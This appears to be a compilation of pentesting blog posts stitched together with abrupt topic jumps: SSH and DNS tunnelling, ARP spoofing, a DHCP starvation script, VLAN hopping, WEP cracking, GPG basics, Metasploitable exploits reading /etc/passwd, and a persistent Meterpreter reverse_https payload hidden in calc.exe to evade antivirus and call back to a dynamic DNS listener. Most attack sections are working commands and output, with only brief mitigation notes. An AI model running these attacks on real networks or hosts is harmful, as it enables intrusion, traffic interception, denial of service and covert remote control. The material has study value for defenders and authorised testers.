No time to waste, we will keep this article short and to the point. Tunneling modes:

Local or -L <local port>:<remote host>:<remote port>

This mode allows you to bind a port on your side of the SSH connection and if you connect to it, your connection will be forwarded to the remote host on remote port. For remote host‘s point of view, the connection will seem to originate from the machine or device that you have SSH-ed into, therefore you can use that method to reach hosts and ports unreachable to you, but reachable from the server that you have SSH-ed into. This will be useful if you want to access the intranet web server at your office, but you only have SSH access to another server – in this case you would use ssh -L 8080:<intranet web server>:80 <another server with ssh> and then you will open http://127.0.0.1:8080/ in your browser. You can further extend that access to the local LAN that you are in if you type ssh -L 192.168.1.100:8080:<intranet web server>:80 <another server with ssh> (assuming that 192.168.1.100 is your IP in the local LAN) which will allow everyone in the local LAN to access the intranet web server by typing http://192.168.1.100:8080/ in their browsers.

Remote or -R <remote port>:<local host>:<local port>

Well, the remote more allows you to do just the opposite – with this mode you can SSH into a remote server and listen for connections on remote port. Then if someone connects to that port, the connection will be forwarded to local host on local port, where local host is a machine which is accessible from your workstation or from wherever you are running the command. From local host‘s point of view, the connection will be originating from your workstation. If we use the example from above, and for the sake of the example we will assume that you are abroad and you need to access the intranet web server, but SSH connections are not allowed from the Internet – then a colleague of yours can SSH into a server in the Internet with the following command ssh -R 8080:<intranet web server>:80 <internet ssh server>, thus granting you with access to the intranet web server, if you manage to access port 8080 on the internet ssh server. The tricky part here will be that by default your newly created listener on port 8080 will be bound to the loopback address, otherwise known as 127.0.0.1. This is for security and can be changed by setting the GatewayPorts option of the SSH server running on the internet ssh server to either yes or clientspecified. Ofcourse the other way around this will be for you to create a local tunnel by running ssh -L 8080:127.0.0.1:8080 <internet ssh server> and then open http://127.0.0.1:8080/ in your browser.

SOCKS proxy mode or -D 1080

This will create a SOCKS proxy server on your workstation and will allow you to point your browser or any SOCKS proxy aware program to it, thus avoiding content filtering or port filtering at your end and also securing your traffic with an additional layer of encryption. A little trick that you could utilize with this method, if the program that you need to run is not SOCKS aware, would be to use the tsocks package available in most modern distributions. What this little software does is to transparently intercept all connections that your program creates and then forward the to the SOCKS server. In Ubuntu you can install it by running $ sudo apt-get install tsocks and then you need to tweak the options in /etc/tsocks.conf by setting server = 127.0.0.1, server_type = 4 and server_port = 1080. Now when you start your program just type tsocks in the beginning of the command line, which will do set LD_PRELOAD to dynamically load the tsocks library responsible for the interception of the connections.

And speaking of tricks, in corporate environments you will frequently find yourself in a situation where the only Internet access that you can get your hands on will be through a HTTP proxy. Fear not, as corkscrew comes to the rescue! This simple tool uses the CONNECT method, implemented by all proxies for connecting to SSL encrypted sites, to establish a TCP connection through the proxy. Just install the package by typing $ sudo apt-get install corkscrew and the append -o ProxyCommand corkscrew <proxy server IP> <proxy server port> %h %p to your ssh command. Here you will have to keep in mind the some of the proxies only allow the CONNECT method to be used on port 443, so it might be a good idea to have an SSH server running on port 443 – just in case. And ofcourse that if you are running the SSH server on any port different than 22 (443 for example), don’t forget to specify the correct SSH server port by appending -p <SSH server port> to your ssh command.

Before demonstrating ARP spoofing, we need to explain how does ARP work in the first place and in order to illustrate it we will use the client A (with IP 192.168.1.20 and netmask 255.255.255.0) and the server B (with IP 192.168.1.10 and netmask 255.255.255.0). Let’s say that client A wants to communicate to server B and all it knows is it’s IP address, however in order to communicate with it on Layer 2, it needs to know it’s MAC address and therefore it sends and ARP request on the broadcast address FF:FF:FF:FF:FF:FF asking the machine with IP address 192.168.1.10 to respond with it’s MAC address. Sure enough, server B receives the ARP request and send an ARP reply which says that server B is the owner of the IP address 192.168.1.10 and his MAC is 10:10:10:10:10:10. Now when client A knows the MAC address of server B, it can send packets to server B and hope that server B will be the only machine that is receiving them (this is supposedly the case with all Layer 2 switches).

The explanation above relates to the case where the client and the server (or any other two network devices that wish to communicate) are in the same network. When they are not in the same network (let’s say server B is with IP address 10.10.10.10 and gateway C is with IP address 192.168.1.1), the process of Layer 2 communication is almost the same, with the exception that instead of asking for the MAC address of the server, client A will ask for the MAC address of the gateway. After the gateway responds with it’s MAC address, client A will send all packets directed to server B to the gateway, hoping that it will know better how to deliver them to server B.

Scenario

OK, enough with the boring stuff, let’s throw in an attacker D (or a pentester for that matter, they will do the same) who want to intercept the traffic between client A and server B, which are communicating through gateway C. The attacker D will be placed in the same network segment as client A and gateway C so we will be using the following addresses for the explanation:

- client A, IP: 192.168.1.20, netmask 255.255.255.0, gateway 192.168.1.1, MAC: 10:10:10:10:10:10
- server B, IP: 10.10.10.10, netmask, gateway and MAC are irrelevant
- gateway C, IP: 192.168.1.1, netmask 255.255.255.0, MAC: 01:01:01:01:01:01
- attacker D, IP: 192.168.1.30, netmask 255.255.255.0, gateway 192.168.1.1, MAC: 30:30:30:30:30:30

Now, what the attacker will want to do is to convince client A that the MAC address of gateway C is not 01:01:01:01:01:01 but 30:30:30:30:30:30. He will also want to make sure that gateway C thinks that the MAC address of client A is not 10:10:10:10:10:10 but is again 30:30:30:30:30:30. This way, attacker D will intercept all communication from client A to the outside world and the only thing that he needs to make sure is that he forwards the packets, so that client A will never know that anything suspicious is happening.

Fast forward to the lab, we have the client, server and gateway setup in the way described above and additionally we will introduce an attacker who is running Backtrack and is connected to the same network as client A and gateway C. So in order to intercept the traffic, the attacker will have to execute the following commands:

# echo 1 > /proc/sys/net/ipv4/ip_forward

With the command above, he will ensure that all packets that are forwarded to his workstation will be then forwarded to their original destination, otherwise the client will not be able to communicate to anyone and will suspect that something is going on.

# arpspoof -t 192.168.1.1 192.168.1.10
# arpspoof -t 192.168.1.10 192.168.1.1

These will ensure that client A will send to attacker D all packets otherwise meant for gateway C (server B falls into this account) and vice versa. Now all that is left for the attacker to do is to run tcpdump or wireshark and record / analyze / sniff the communications:

# tcpdump -ni eth0 host 192.168.1.10 and host 10.10.10.10


In some of the articles to follow, we will utilize Cain & Abel to perform even more sophisticated main-in-the-middle attacks, which will illustrate how easy it is to break encrypted protocols, if they are not configured properly.

Mitigation

Unfortunately, the mitigation of this attack is much harder than the attack itself. Cisco has developed a couple of countermeasures to fight with different Layer 2 attacks, and you will need to make use of all of them in order to be fully protected:
- DHCP snooping
- Dynamic ARP Inspection
- Port Security

• request a page more than the allowed times per second
• make more than 50 concurrent requests per second on the same child process
• make a single request while blacklisted

On Debian or Ubuntu systems the installation is as easy as typing:

$ sudo apt-get install libapache2-mod-evasive

Once you do that, the module is already enabled and is protecting your web server. If you need to change the default thresholds, you need to insert the following lines in httpd.conf:


<IfModule mod_evasive20.c>
DOSHashTableSize 3097
DOSPageCount 2
DOSSiteCount 50
DOSPageInterval 1
DOSSiteInterval 1
DOSBlockingPeriod 300
</IfModule>


This following options can tweak the behavior of the module:

• DOSHashTableSize – The hash table size defines the number of top-level nodes for each child’s hash table. Increasing this number will provide faster performance by decreasing the number of iterations required to get to the record, but consume more memory for table space. You should increase this if you have a busy web server. The value you specify will automatically be tiered up to the next prime number in the primes list (see mod_evasive.c for a list of primes used).
• DOSPageCount – This is the threshold for the number of requests for the same page (or URI) per page interval. Once the threshold for that interval has been exceeded, the IP address of the client will be added to the blocking list.
• DOSSiteCount – This is the threshold for the total number of requests for any object by the same client on the same listener per site interval. Once the threshold for that interval has been exceeded, the IP address of the client will be added to the blocking list.
• DOSPageInterval – The interval for the page count threshold; defaults to 1 second intervals.
• DOSSiteInterval – The interval for the site count threshhold; defaults to 1 second intervals.
• DOSBlockingPeriod – The blocking period is the amount of time (in seconds) that a client will be blocked for if they are added to the blocking list. During this time, all subsequent requests from the client will result in a 403 (Forbidden) and the timer being reset (e.g. another 10 seconds). Since the timer is reset for every subsequent request, it is not necessary to have a long blocking period; in the event of a DoS attack, this timer will keep getting reset.
• DOSEmailNotify – If this value is set, an email will be sent to the address specified whenever an IP address becomes blacklisted. A locking mechanism using /tmp prevents continuous emails from being sent.
• DOSSystemCommand – If this value is set, the system command specified will be executed whenever an IP address becomes blacklisted. This is designed to enable system calls to ip filter or other tools. A locking mechanism using /tmp prevents continuous system calls. Use %s to denote the IP address of the blacklisted IP.

The last option is one of the most interesting, as it allows you to call iptables and filter the attacker’s IP address. Have fun experimenting with this great Apache module!

Scenario

The idea behind DHCP starvation is to make dummy leases for all IPs in the DHCP range. This will effectively cause a DoS, as all new network clients that request an IP address from the DHCP server, will not be served, as there will be no free IP addresses to lease. Depending on the lease time configured on the DHCP server, the effect of the attack will last as long as the time required for the leases to expire.

This attack can be automatically performed with yersinia, but for demonstration purposes we will use a quick and dirty script that only uses macchanger and dhclient.

macchanger is a great tool that just makes what it says in it’s name – it changes the MAC address of your network interface. dhclient on the other hand is the standard tool present in almost any Linux distribution, which is used for leasing an IP address from a DHCP server, and renewing the lease when necessary.

To the point – the following bash script demonstrates step by step the way that such attack works:

root@bt:~# cat starve.sh
#!/bin/bash

while true; do
   # kill all running dhcp clients - just in case
   killall dhclient
   rm -f /var/run/dhclient.pid

   # bring down the interface
   ifconfig eth0 down

   # change the MAC address of the interface and print the new MAC address
   macchanger -a eth0 2>&1 | grep Faked

   # bring the interface up
   ifconfig eth0 up

   # make a new DHCP lease
   dhclient eth0 2>&1 | grep DHCPACK
done
root@bt:~#

The results from running this script, besides causing a DoS attack (for which you will be personally responsible unless you are authorized to perform penetration testing of the network resources involved), will look much like this:

root@bt:~# ./starve.sh
dhclient: no process killed
Faked MAC:   00:0e:7b:63:fc:18 (Toshiba)
DHCPACK of 192.168.123.207 from 192.168.123.1
Faked MAC:   00:30:63:ec:24:fb (Santera Systems, Inc.)
DHCPACK of 192.168.123.208 from 192.168.123.1
Faked MAC:   00:0b:30:df:69:28 (Beijing Gongye Science & Technology Co.,ltd)
Faked MAC:   00:0d:08:d3:d9:ad (Abovecable, Inc.)
Faked MAC:   00:05:20:49:1f:5a (Smartronix, Inc.)^C
root@bt:~#

When you stop seeing DHCPACKs, this means that you have depleted the available leases of the DHCP server.

Mitigation

When IP allocation is done through DHCP servers, DHCP snooping can be configured on the switches to only allow clients with specific IP/MAC addresses to have access to the network.

Use the following commands to configure DHCP snooping:

To enable DHCP Snooping on a Cisco IOS switch, follow these steps:

! To enables DHCP Snooping globally enter:
switch(config)# ip dhcp snooping
! To enable DHCP Snooping for specific VLANs enter:
switch(config)# ip dhcp snooping vlan <vlan_id> {,<vlan_id>}
! To set the interface to trusted state, which will allow passing DHCP replies enter:
switch(config-if)# ip dhcp snooping trust
! To set a rate limit for DHCP Snooping enter:
switch(config-if)# ip dhcp snooping limit rate <rate>

Scenario 1

A great tool to demonstrate this idea is NSTX. It allows you to tunnel IP packets inside DNS queries, thus bypassing all firewall restrictions. Experience shows that almost any network will have access to DNS servers and also most DNS servers by default have forwarders enabled. This will be your gateway to the Internet, provided that you have a domain name that is controlled by you and a server with a valid external IP address, that is currently not running DNS.

The magic that makes the whole thing work is a subdomain whose control is delegated to your server which will be running the NSTX daemon. The following BIND configuration lines demonstrate this:

$ORIGIN tunnel.example.com.
@               IN      NS      ns.tunnel.example.com.
ns              IN      A       1.2.3.4

These configure the DNS server to forward all DNS queries for the records in tunnel.example.com to the DNS server (NSTX daemon) located on IP address 1.2.3.4. This way all queries for hosts like test.tunnel.example.com will be forwarded to your NSTX daemon running at 1.2.3.4. As you might have already guessed, the actual host request that is sent to the NSTX daemon is a Base64 encoded part of an IP packet. Just as the TXT record that you receive in reply.

For the actual implementation we’ll assume that you using a Debian or Ubuntu distribution. You need to install the nstx package, which can be achieved with the following command:

$ sudo apt-get install nstx

Then you’ll have to add the following lines in /etc/network/interfaces on the server:

iface tun0 inet static
address 10.0.0.1
pointopoint 10.0.0.2
netmask 255.255.255.255
mtu 512

Swap the IP addresses when you modify /etc/network/interfaces on the client machine:

iface tun0 inet static
address 10.0.0.2
pointopoint 10.0.0.1
netmask 255.255.255.255
mtu 512

This will ensure that one the NSTX tunnel is up, you’ll have 10.0.0.1 on the server and 10.0.0.2 on the client side. You might tweak the mtu parameter for better performance, but with 512 bytes you should be fine.

The next thing that you’ll need to do is to modify /etc/defaults/nstx. On the server make sure that the following entries are uncommented:

NSTX_DOMAIN="tunnel.example.com"
start_nstxd=yes
ifup_tun=tun0

And on the client side:

NSTX_DOMAIN="tunnel.example.com"
start_nstxcd=yes
ifup_tun=tun0

And that’s it! When you start the NSTX daemon on the server:

$ sudo /etc/init.d/nstxd start

… and on the client …

$ sudo /etc/init.d/nstxcd start

… you should see a tunnel interface called tun0 that is up on both machines and you should be able to ping 10.0.0.1 from the client. From there you might want to enable NAT on your server and allow packets to be routed through it, but as this is a trivial task, I guess you can figure that out by yourself.

Scenario 2

Now, after you have already understood the principle of operation and the low level approach, we present you the easy way of digging DNS tunnels – by using iodine. Compared to NSTX, iodine has the following advantages:

Higher performance
iodine uses the NULL type that allows the downstream data to be sent without encoding. Each DNS reply can contain over a kilobyte of compressed payload data.
Portability
iodine runs on many different UNIX-like systems as well as on Win32. Tunnels can be set up between two hosts no matter their endianness or operating system.
Security
iodine uses challenge-response login secured by MD5 hash. It also filters out any packets not coming from the IP used when logging in.
Less setup
iodine handles setting IP number on interfaces automatically, and up to 16 users can share one server at the same time. Packet size is automatically probed for maximum downstream throughput.

Even though Iodine is much easier to use and it has clients for Windows, it seems that it is not that reliable as NSTX, as NSTX works in some networks where Iodine fails. This has probably something to do with the different types of DNS queries that are used by those two applications.

The immediately obvious advantages are the Windows client, the password protection and the much easier setup process. As iodine comes bundled in most Debian distributions, you can just install it using apt-get, or you can grab the latest stable Windows packages from here. Please refer to the README for some explanation on the usage.

Mitigation

The mitigation couldn’t be easier – just don’t allow access from an isolated network to a DNS server which has forwarders enabled.

In some rare occasions, the IT security people have done their job right and limited the access from internal users to the servers in the internal or external DMZ. This ofcourse will make it harder for a penetration tester to find something interesting to put in the report. Only if he could jump in the VLAN with the servers, so there is no firewall in the way …

Scenario

Well, maybe it is time to look at the Layer 2 side of the network. You might happen to know that by default Cisco switches don’t put their ports in access mode, with the idea that if you happen to connect two switches, they can automatically reconfigure the ports that connect them in trunk mode, so you can share VLANs between them. The proprietary protocol that negotiates that is called DTP, which stands for Dynamic Trunking Protocol.

Yersinia is a network tool designed to take advantage of some weaknesses or misconfiguration in different network protocols (STP, CDP, DTP, DHCP, HSRP, ISL, VTP). Lets try it out:
$ sudo yersinia -I
Just remember to maximize your console window in case that you use KDE or GNOME or something else, as yersinia will refuse to start if the window is too small. You can use the F1 to F10 keys to cycle through the different windows and each window shows information for a specific protocol, if it is detected to be enabled on the network. In our example we will focus on the DTP window and we’ll hope that we see some activity there. If this is the case, we will see some lines with ACCESS/DESIRABLE in them, which represents the current state of the port.

All we need to do now is to press ‘x‘ to execute an attack and select ‘1‘ in order to try and enable trunking. If you see a couple of lines with ‘TRUNK/DESIRABLE‘ this most probably means that the attack is successful. Now if you go to the 802.1Q window, you should be able to see all the VLANs that are enabled on the switch and even the IP ranges that are used in them. After that joining a VLAN is trivial:

$ sudo modprobe 8021q
$ sudo vconfig add eth0 4
$ sudo ifconfig eth0.4 10.0.0.199 netmask 255.255.255.0 up

In this example ’8021q’ is the module that enables vlan support in Linux, ’4′ is the VLAN number and ’10.0.0.199′ is the IP address assigned. Just remember that you need to leave yersinia running, in order to keep the port in trunk mode.

Mitigation

The solution of this problem is actually quite simple – just put all client ports in access mode. The following commands executed for every client port will do just that:

# switchport mode access
# switchport access vlan x
# switchport nonegotiate

Generate Private Key

$ gpg --gen-key

During the generation of the key you will be asked a couple of questions:

Please select what kind of key you want:
(1) DSA and Elgamal (default)
(2) DSA (sign only)
(3) RSA (sign only)
Your selection?

You should be fine with the default of (1), then you will be asked for the keysize:

DSA keypair will have 1024 bits.
ELG-E kyes may be between 1024 and 4096 bits long.
What keysize do you want? (2048)

The default value of 2048 should be fine for the next few years at least, having in mind the difficulty of cracking strong encryption using a 2048 bit key in any reasonable period using current computer technology. Next, it will ask how long you want your key to be valid:

Requested keysize is 2048 bits
Please specify how long the key should be valid.
0 = key does not expire
<n> = key expires in n days
<n>w = key expires in n weeks
<n>m = key expires in n months
<n>y = key expires in n years

Key is valid for? (0)

For most purposes, either accept the default (0) by pressing the Enter key or specify 1y for one year. Assuming you entered 1y, you will be asked to verify the expiration date. Here, [date] is a stand-in for the actual time and date information indicated by the gpg utility:

Key expires at [date]
Is this correct? (y/N)

The default answer is N, for “no”. If you want to change your answer, just press Enter. If you wish to accept it, enter y.

Next it will ask you to identify yourself:

You need a user ID to identify your key; the software constructs the user ID from the Real Name, Comment and Email Address in this form:
"Think Security Support "

Real name:

Enter your name here and also answer appropriately on the next two questions:

Email address:
Comment:

After all this information is entered, you will be asked to confirm your input:

You selected this USER-ID:
"Think Security Support "

Change (N)ame, (C)omment, (E)mail or (O)kay/(Q)uit?

Whatever name, comment, and email address is displayed, make sure they are accurate and enter o to select “Okay” — or, if they don’t match the reality, choose appropriately to change your answers.

After answering this question, you will be asked to dome something random – playing video or music, entering random text into a text document, moving the mouse and heavy network activity can all contribute to that needed “randomness”.

Generate Revocation Certificate

This creates a revocation certificate, which needs to be published if your pass phrase or private key are compromised by a hacker.

$ gpg --output revoke.asc --gen-revoke 'name'

It is recommended that you store your revocation key on physical media in a secure location so that it cannot be compromised along your private key and/or pass phrase.

Generate Public Key

This produces a text file called “pubkey.txt” that will contain the ascii version of your public key, where name is the Real Name you used to create the key:

$ gpg --armor --output pubkey.txt --export 'name'

Register Public Key

This uploads your public key to a keyserver on the PGP website – pgp.net so that others can search by name for your public key on a central location:

$ gpg --send-keys 'name' --keyserver hkp://subkeys.pgp.net

Import Key Directly

Assuming you have the plain text public key of someone to whom you may later want to send encrypted files, this is how you can import it into your gpg keyring:

$ gpg --import pubkey.txt

From Keyserver

By using the key owner’s email address, this command retrieves his public key from the pgp.net keyserver,:

$ gpg --recv-keys email --keyserver hkp://subkeys.pgp.net

Encrypt A File

To encrypt a file when you have the public key of the intended recipient in your gpg keyring, you can use the following command, where ID is replaced with that key’s ID and filename.ext is replaced with the name of the file you wish to encrypt:

$ gpg --encrypt --recipient ID filename.ext

The short version of the above command is:

$ gpg -e -r ID filename.ext

This command will create an encrypted copy of the file named filename.ext.gpg. If you want to encrypt a file so that only you can read it, you can specify your own key ID as the intended recipient.

Decrypt A File

Decrypting a file is simple:

$ gpg --output filename.ext --decrypt filename.ext.gpg

Scenario

To illustrate the scenario we will use an old Linksys wireless PCMCIA network card and we will break into a specially created for the purpose wireless network called SoulReaver, which we have configured on a Linksys wireless router. The laptop on which the potential malicious activities will be performed is preinstalled with BackTrack and we will use an arp injection technique to speed up the demonstration.

Once the operating system has booted, insert the card in the PCMCIA slot and you should see the following line in dmesg:

b43-phy0: Broadcom 4306 WLAN found

This means that the card has been successfully detected. Next we need to put the card in monitoring mode, so we can have a look around. This is achieved with the following command:

# airmon-ng start wlan0
# airodump-ng wlan0

 BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID

 00:1A:70:FD:3A:76  -41        5       11    0   6  54e  WEP  WEP         SoulReaver

 BSSID              STATION            PWR   Rate    Lost  Packets  Probes

 (not associated)   00:1D:E0:82:80:31  -74    0 - 1      3        4
 00:1A:70:FD:3A:76  00:21:5D:13:FE:56  -45   54e-54e    45       12

So there we see a wireless network called “SoulReaver” which is protected with WEP. At this point we just fire up a packet sniffer and wait for enough packets to be collected in order to crack the WEP key, but as we want to speed up the process we will use an ARP injection technique to collect more packets faster. In order for arp injection to work, in most cases you will need to first associate with the access point:

# aireplay-ng -1 0 -e SoulReaver -a 00:1A:70:FD:3A:76 -h 00:12:17:07:E0:15 wlan0

Then we can start to sniff for ARP packets and start injecting once we have captured at least one:

#  aireplay-ng -3 -e SoulReaver -a 00:1A:70:FD:3A:76 -h 00:12:17:07:E0:15 -x 200 wlan0
16:06:22  Waiting for beacon frame (ESSID: SoulReaver) on channel 6
Found BSSID "00:1A:70:FD:3A:76" to given ESSID "SoulReaver".
Saving ARP requests in replay_arp-0709-160622.cap
You should also start airodump-ng to capture replies.
Read 7803 packets (got 1 ARP requests and 1173 ACKs), sent 1222 packets...(199 pps)

The command above does the following – selects the third attack which is ARP injection, specifies that we will attack a wireless network called “SoulReaver” with MAC address of the access point “00:1A:70:FD:3A:76″ and configures the packet injection rate with 200 packets per second. As we can see from the command output, aireplay-ng automatically discovers the source MAC address, locates the wireless network at channel 6 and waits for a valid ARP packet that can be used for injection. After such packet is captured, the tool starts sending packets at a rate of 199 packets per second, at which point we can start to dump the packets into a file:

# airodump-ng -c 6 --bssid 00:1A:70:FD:3A:76 -w SoulReaver-dump wlan0

The command above instructs airodump-ng to listen on channel 6 on interface wlan0 and to write the captured packets in a file called SoulReaver-dump-01.cap. After we have captured enough packets, we can try cracking the password with the following command:

# aircrack-ng -a 1 -n 64 SoulReaver-dump*.cap

We specify that we want to perform WEP cracking and that we want to try with 64 bit key first. If you have captured enough packets, after a short delay the following screen will appear:

                                     Aircrack-ng 1.0 rc3 r1552

                            [00:00:04] Tested 730859 keys (got 13883 IVs)

   KB    depth   byte(vote)
    0   22/ 32   F3(16384) 40(16128) 53(16128) 7D(16128) 93(16128) 97(16128) A2(16128)
    1    1/ 14   84(18944) AC(18432) FD(18432) 6E(17920) 5D(17664) B2(17664) 02(17664)
    2    0/ 12   0D(19968) 5D(19968) 25(18944) 7F(18688) A7(18688) 14(18688) 53(18176)
    3    4/ 10   86(18688) 62(18176) 97(18176) 38(17920) 4F(17664) 6D(17664) 1C(17408)
    4    1/ 14   52(19968) F9(19456) F0(18944) 9C(18688) B4(18176) FE(17920) 03(17664)

                         KEY FOUND! [ CB:74:0D:89:52 ]
	Decrypted correctly: 100%

In order to connect to the wireless network with the just cracked WEP key, do the following:

# iwconfig wlan0 mode manage
# ifconfig wlan0 down
# iwconfig wlan0 essid SoulReaver key CB:74:0D:89:52
# ifconfig wlan0 up
# dhcpcd wlan0
# ping www.google.com

Mitigation

The recommended solution to WEP security problems is to switch to WPA2 or with older equipment the less resource intensive WPA. Either is much more secure than WEP. To add support for WPA or WPA2, some old Wi-Fi access points might need to be replaced or have their firmware upgraded. WPA was designed as an interim software-implementable solution for WEP that could forestall immediate deployment of new hardware. However, TKIP (the basis of WPA) has reached the end of its designed lifetime and has been deprecated in the next full release of the 802.11 standard.

You can use VMware Player to run it, but be aware that you don’t want is exposed to the Internet, so carefully choose what type of networking you will use in the virtual machine. It’s configured in non-persistent-disk mode, so if you mess up something you can just reset it, and here are some of the credentials that you can use to access it:

msfadmin:msfadmin
user:user
service:service
postgres:postgres
klog:123456789

Here are a couple of the things you can do with it in msfconsole:

Using the ‘Tomcat Application Manager Login Utility’, you can test credentials against a Tomcat application (assuming the manager component is enabled):

msf > use scanner/http/tomcat_mgr_login
msf auxiliary(tomcat_mgr_login) > set RHOSTS metasploitable
msf auxiliary(tomcat_mgr_login) > set RPORT 8180
msf auxiliary(tomcat_mgr_login) > exploit

…
[*] 10.0.1.88:8180 – Trying username:’tomcat’ with password:’role1′
[-] http://10.0.1.88:8180/manager/html [Apache-Coyote/1.1] [Tomcat Application Manager] failed to login as ‘tomcat’
[*] 10.0.1.88:8180 – Trying username:’tomcat’ with password:’root’
[-] http://10.0.1.88:8180/manager/html [Apache-Coyote/1.1] [Tomcat Application Manager] failed to login as ‘tomcat’
[*] 10.0.1.88:8180 – Trying username:’tomcat’ with password:’tomcat’
[+] http://10.0.1.88:8180/manager/html [Apache-Coyote/1.1] [Tomcat Application Manager] successful login ‘tomcat’ : ‘tomcat’
[*] 10.0.1.88:8180 – Trying username:’both’ with password:’admin’

There you go – a valid (tomcat:tomcat) login. – Now that we have valid credentials, we can try the Tomcat Manager Application Deployer (tomcat_mgr_deploy) :

msf > use multi/http/tomcat_mgr_deploy
msf exploit(tomcat_mgr_deploy) > set RHOST metasploitable
msf exploit(tomcat_mgr_deploy) > set USERNAME tomcat
msf exploit(tomcat_mgr_deploy) > set PASSWORD tomcat
msf exploit(tomcat_mgr_deploy) > set RPORT 8180
msf exploit(tomcat_mgr_deploy) > set PAYLOAD linux/x86/shell_bind_tcp
msf exploit(tomcat_mgr_deploy) > exploit

[*] Started bind handler
[*] Attempting to automatically select a target…
[*] Automatically selected target “Linux X86″
[*] Uploading 1612 bytes as HJpy1H.war …
[*] Executing /HJpy1H/EpKaNLsCQUUjo.jsp…
[*] Undeploying HJpy1H …
[*] Sending stage (36 bytes) to metasploitable
[*] Command shell session 1 opened (10.0.1.21:39497 -> 10.0.1.88:4444) at 2010-05-12 19:54:16 -0200

The distcc_exec module is also a nice exploit to play with – in this case, by using a command payload to ‘cat /etc/passwd’:

msf > use unix/misc/distcc_exec
msf exploit(distcc_exec) > set PAYLOAD cmd/unix/generic
msf exploit(distcc_exec) > set RHOST metasploitable
msf exploit(distcc_exec) > set CMD 'cat /etc/passwd'
msf exploit(distcc_exec) > exploit
connecting...

[*] stdout: root:x:0:0:root:/root:/bin/bash
[*] stdout: daemon:x:1:1:daemon:/usr/sbin:/bin/sh
…

So no need to wait any more – just download Metasploitable and start improving your Metasploit skills!

First things first, grab the latest version of Metasploit (3.3.3) and update to the latest SVN snapshot. Revision r9058 or newer will work for this example.

Next, we need to setup a listening station for the remote system to connect to. This is the system that will be running msfconsole and handling the incoming connections. The two important variables here are the hostname or IP address (LHOST) and the listening port (LPORT). If you do not have access to a dedicated external system, you will need to configure your local firewall or NAT gateway to forward LPORT from the external interface to your listener. In this example, we want to use the brand new reverse_https stager, which in addition to going over SSL has the benefit of resolving DNS at runtime. This stager, along with reverse_tcp_dns, allows an actual hostname to be specified in the LHOST parameter. If you are using a dynamic DNS service, this would allow the reverse connect payload to follow your DNS changes.

Assuming we are running Metasploit on a typical broadband connection and behind a NAT gateway, we would first register our system with a dynamic DNS service (metasploit.kicks-ass.net), choose a listening port (8443) and then forward this from the NAT gateway to our internal machine running Metasploit. Once the port forward has been configured and the dynamic DNS entry has been activated, we can start msfconsole:

$ msfconsolemsf > use exploit/multi/handlermsf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_https     msf exploit(handler) > set LPORT 8443 msf exploit(handler) > set LHOST metasploit.kicks-ass.netmsf exploit(handler) > set ExitOnSession falsemsf exploit(handler) > exploit -j[*] HTTPS listener started on http://metasploit.kicks-ass.net:8443/[*] Starting the payload handler...

Once the listener has been configured, you can test whether the handler is working properly by using a third-party web site test tool that supports SSL. I have had success using WAVE, but any “site check” tool will indicate whether the handler is accessible. If you access the handler URL in your browser, you should see an invalid SSL certificate prompt followed by a “No site configured at this address” message.

After the listener has been configured and tested, its time to create the actual persistent Meterpreter connect-back script. In order to avoid some of the more bothersome AV products, it makes sense to use a benign executable as a “template” and inject the payload inside, then wrap this all in a script. On your system running Metasploit, identify an executable to use as the template. I often use the standard calc.exe that ships with Windows operating system, but any moderately-sized EXE will do. Once the template has been identified, create a reverse_https Meterpreter, using the EXE template, wrapped in a script, with a persistent retry. The following command does this:

$ msfpayload windows/meterpreter/reverse_https LHOST=metasploit.kicks-ass.net LPORT=8443 R |msfencode -x calc.exe -t loop-vbs -o final.vbs[*] x86/shikata_ga_nai succeeded with size 408 (iteration=1)$ ls -la final.vbs-rw-r--r-- 1 hdm hdm 955641 Apr 13 08:51 final.vbs

Finally, execute the VBS on the target system, and enjoy a 100% SSL-encrypted, DNS-aware, persistent remote connect-back. The reconnect interval can be changed by editing the VBS script itself (all the way at the bottom). To stop the connect-back, simply kill the wscript.exe process. To make this persist across reboots, add this to the standard Run key or the Startup folder.

[*] A.B.C.D:53386 Request received for /AVkev...[*] A.B.C.D:53386 Staging connection for target Vkev received...[*] Patching Target ID Vkev into DLL[*] A.B.C.D:53387 Request received for /BVkev...[*] A.B.C.D:53387 Stage connection for target Vkev received...[*] Meterpreter session 2 opened (192.168.0.228:8443 -> A.B.C.D:53387)

msf exploit(handler) > sessions -i 2[*] Starting interaction with 2...

meterpreter > getuidServer username: metaldev

meterpreter > ps

Process list============

 PID   Name                          Arch  Session  User       Path ---   ----                          ----  -------  ----       ---- 0     [System Process]                                         4     System                                                   404   smss.exe                                                 520   csrss.exe                                                584   wininit.exe                                              608   csrss.exe                                                648   services.exe                                             668   lsass.exe                                                676   lsm.exe                                                  792   svchost.exe                                              852   nvvsvc.exe                                               892   svchost.exe                                             [truncated]

For more information about how the reverse_https and reverse_tcp_dns stagers work, I recommend reading the source. While the initial stage supports SSL, DNS, proxies, and authentication, the second stage does not support the last two features (yet).

Source: Metasploit Blog

As of revision r8876, blocks of Ruby code can now be directly inserted into the resource scripts. This turns resource scripts into a generic automation platform for the Metasploit Framework.

In this example, the resource script configures a multi/handler instance to run in the background, and then automatically screenshots and closes incoming sessions. The full power of the Metasploit API is available within the code blocks, so the sky is the limit in terms of what can be accomplished. Changing the example to nmap the target or install a persistent agent would be trivial and all normal console commands are still available within the code block (run_single(“help”)).

$ ./msfconsole -r documentation/msfconsole_rc_ruby_example.rc                _                  _       _ _               | |                | |     (_) | _ __ ___   ___| |_ __ _ ___ _ __ | | ___  _| |_| '_ ` _  / _  __/ _` / __| '_ | |/ _ | | __|| | | | | |  __/ || (_| __  |_) | | (_) | | |_|_| |_| |_|___|____,_|___/ .__/|_|___/|_|__|                            | |                            |_|

       =[ metasploit v3.3.4-dev [core:3.3 api:1.0]+ -- --=[ 542 exploits - 295 auxiliary+ -- --=[ 198 payloads - 23 encoders - 8 nops       =[ svn r8873 updated today (2010.03.22)

resource (documentation/msfconsole_rc_ruby_example.rc)> use exploit/multi/handlerresource (documentation/msfconsole_rc_ruby_example.rc)> set PAYLOAD windows/meterpreter/reverse_tcpresource (documentation/msfconsole_rc_ruby_example.rc)> set LPORT 4444resource (documentation/msfconsole_rc_ruby_example.rc)> set LHOST 192.168.0.118resource (documentation/msfconsole_rc_ruby_example.rc)> set ExitOnSession false

